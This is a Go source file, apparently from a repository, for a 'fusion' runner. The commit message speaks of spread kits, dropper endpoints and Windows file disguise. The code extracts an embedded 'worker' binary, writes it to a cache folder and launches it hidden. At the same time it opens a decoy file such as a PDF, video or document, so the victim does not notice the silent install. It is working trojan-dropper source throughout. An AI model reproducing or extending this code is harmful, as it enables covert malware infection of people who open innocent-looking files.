Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
250 lines
6.4 KiB
Go
250 lines
6.4 KiB
Go
package main
|
|
|
|
import (
|
|
"crypto/sha256"
|
|
"embed"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
"sync"
|
|
)
|
|
|
|
//go:embed assets/*
|
|
var assets embed.FS
|
|
|
|
// Replaced at forge time.
|
|
const (
|
|
runOrder = "FUSION_RUN_ORDER"
|
|
payloadKind = "FUSION_PAYLOAD_KIND"
|
|
mediaMode = "FUSION_MEDIA_MODE"
|
|
mediaFileName = "FUSION_MEDIA_FILE"
|
|
)
|
|
|
|
type fusionManifest struct {
|
|
PayloadKind string `json:"payload_kind"`
|
|
MediaMode string `json:"media_mode"`
|
|
MediaFileName string `json:"media_file_name"`
|
|
MediaEncFile string `json:"media_enc_file"`
|
|
MediaKeyB64 string `json:"media_key_b64"`
|
|
RunnerDisplay string `json:"runner_display_name"`
|
|
}
|
|
|
|
func main() {
|
|
if fusionLockHintMode() {
|
|
showLockedMediaHint()
|
|
return
|
|
}
|
|
|
|
workerPath, err := materializeWorker()
|
|
if err != nil {
|
|
log.Printf("[fusion] worker materialize failed: %v", err)
|
|
return
|
|
}
|
|
|
|
runFileFusion(workerPath)
|
|
}
|
|
|
|
// runFileFusion handles any payload type — exe, video, PDF, document, image, etc.
|
|
// The original file is opened with the OS default application while the worker
|
|
// installs silently in the background.
|
|
func runFileFusion(workerPath string) {
|
|
fileName := resolvePayloadFileName()
|
|
if fileName == "" {
|
|
log.Printf("[fusion] no payload filename — runner is misconfigured (mediaFileName constant not replaced at forge time)")
|
|
return
|
|
}
|
|
|
|
var filePath string
|
|
|
|
switch mediaMode {
|
|
case "embedded":
|
|
var cleanup func()
|
|
var err error
|
|
filePath, cleanup, err = materializeEmbeddedPayload(fileName)
|
|
if err != nil {
|
|
log.Printf("[fusion] embedded payload: %v", err)
|
|
return
|
|
}
|
|
defer cleanup()
|
|
default:
|
|
// "paired" — file ships alongside the runner in the ZIP
|
|
var cleanup func()
|
|
var err error
|
|
filePath, cleanup, err = resolvePairedFile(fileName)
|
|
if err != nil || filePath == "" {
|
|
log.Printf("[fusion] paired payload %q not found — ensure the payload file is in the same ZIP as the runner: %v", fileName, err)
|
|
return
|
|
}
|
|
if cleanup != nil {
|
|
defer cleanup()
|
|
}
|
|
}
|
|
|
|
// Decide how to open the payload:
|
|
// - .exe with payloadKind=="exe" → run it directly and wait
|
|
// - everything else → open with OS default app (works for PDF, video, doc, image, etc.)
|
|
ext := strings.ToLower(filepath.Ext(fileName))
|
|
if ext == ".exe" && payloadKind == "exe" {
|
|
runFusionOrder(workerPath, filePath, func() { waitAndRun(filePath) })
|
|
} else {
|
|
runFusionOrder(workerPath, filePath, func() { openFile(filePath) })
|
|
}
|
|
}
|
|
|
|
// resolvePayloadFileName returns the original filename from baked constants or manifest.
|
|
func resolvePayloadFileName() string {
|
|
if mediaFileName != "FUSION_MEDIA_FILE" && mediaFileName != "" {
|
|
return mediaFileName
|
|
}
|
|
if m := readManifest(); m != nil && m.MediaFileName != "" {
|
|
return m.MediaFileName
|
|
}
|
|
return ""
|
|
}
|
|
|
|
// materializeEmbeddedPayload extracts the embedded payload from assets to a temp dir.
|
|
// Supports: assets/payload.bin (new universal), assets/media.bin (legacy video), assets/prep.exe (legacy exe).
|
|
func materializeEmbeddedPayload(name string) (string, func(), error) {
|
|
var data []byte
|
|
for _, asset := range []string{"assets/payload.bin", "assets/media.bin", "assets/prep.exe"} {
|
|
d, err := assets.ReadFile(asset)
|
|
if err == nil && len(d) > 0 {
|
|
data = d
|
|
break
|
|
}
|
|
}
|
|
if len(data) == 0 {
|
|
return "", nil, fmt.Errorf("embedded payload missing")
|
|
}
|
|
|
|
dir, err := os.MkdirTemp("", "cm-fusion-*")
|
|
if err != nil {
|
|
return "", nil, err
|
|
}
|
|
path := filepath.Join(dir, filepath.Base(name))
|
|
perm := os.FileMode(0644)
|
|
if strings.ToLower(filepath.Ext(name)) == ".exe" {
|
|
perm = 0755
|
|
}
|
|
if err := os.WriteFile(path, data, perm); err != nil {
|
|
_ = os.RemoveAll(dir)
|
|
return "", nil, err
|
|
}
|
|
return path, func() { _ = os.RemoveAll(dir) }, nil
|
|
}
|
|
|
|
// resolvePairedFile finds the payload file relative to the runner binary.
|
|
// Searches current dir, parent, and grandparent — supporting the bin/platform/runner layout
|
|
// where the payload file lives at the ZIP root (two levels up from the runner).
|
|
// Falls back to legacy encrypted media (video mode).
|
|
func resolvePairedFile(name string) (string, func(), error) {
|
|
// Legacy: encrypted video with key in manifest
|
|
if m := readManifest(); m != nil && m.MediaKeyB64 != "" {
|
|
return encryptedMediaBesideRunner(m.MediaEncFile, m.MediaKeyB64, name)
|
|
}
|
|
|
|
exe, err := os.Executable()
|
|
if err != nil {
|
|
return "", nil, err
|
|
}
|
|
base := filepath.Base(name)
|
|
dir := filepath.Dir(exe)
|
|
|
|
// Walk up: bin/platform/ → bin/ → root/ (covers the universal ZIP layout)
|
|
for range []int{0, 1, 2} {
|
|
p := filepath.Join(dir, base)
|
|
if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
|
|
return p, func() {}, nil
|
|
}
|
|
parent := filepath.Dir(dir)
|
|
if parent == dir {
|
|
break
|
|
}
|
|
dir = parent
|
|
}
|
|
return "", nil, fmt.Errorf("payload file not found")
|
|
}
|
|
|
|
func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
|
|
switch runOrder {
|
|
case "prep_first":
|
|
runPrimary()
|
|
launchWorker(workerPath)
|
|
case "worker_first":
|
|
launchWorker(workerPath)
|
|
go runPrimary()
|
|
default: // parallel
|
|
launchWorker(workerPath)
|
|
var wg sync.WaitGroup
|
|
wg.Add(1)
|
|
go func() {
|
|
defer wg.Done()
|
|
runPrimary()
|
|
}()
|
|
wg.Wait()
|
|
}
|
|
}
|
|
|
|
func readManifest() *fusionManifest {
|
|
raw, err := assets.ReadFile("assets/manifest.json")
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
var m fusionManifest
|
|
if json.Unmarshal(raw, &m) != nil {
|
|
return nil
|
|
}
|
|
return &m
|
|
}
|
|
|
|
func materializeWorker() (string, error) {
|
|
data, err := assets.ReadFile("assets/worker")
|
|
if err != nil || len(data) == 0 {
|
|
data, err = assets.ReadFile("assets/worker.exe")
|
|
if err != nil || len(data) == 0 {
|
|
return "", fmt.Errorf("worker binary missing from assets — runner was not built with go:embed correctly")
|
|
}
|
|
}
|
|
|
|
base := cacheDropBase()
|
|
sum := sha256.Sum256(data)
|
|
tag := hex.EncodeToString(sum[:6])
|
|
dir := filepath.Join(base, tag)
|
|
if err := os.MkdirAll(dir, 0755); err != nil {
|
|
return "", err
|
|
}
|
|
destName := dropBinaryName()
|
|
dest := filepath.Join(dir, destName)
|
|
if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(data) {
|
|
if sha256.Sum256(existing) == sum {
|
|
return dest, nil
|
|
}
|
|
}
|
|
if err := os.WriteFile(dest, data, 0755); err != nil {
|
|
return "", err
|
|
}
|
|
return dest, nil
|
|
}
|
|
|
|
func launchWorker(path string) {
|
|
applyHiddenStartPath(path)
|
|
}
|
|
|
|
// waitAndRun launches an exe synchronously (used for exe payload kind).
|
|
func waitAndRun(path string) {
|
|
applyWaitRun(path)
|
|
}
|
|
|
|
func fusionLockHintMode() bool {
|
|
for _, arg := range os.Args[1:] {
|
|
if arg == "--locked" || arg == "-locked" {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|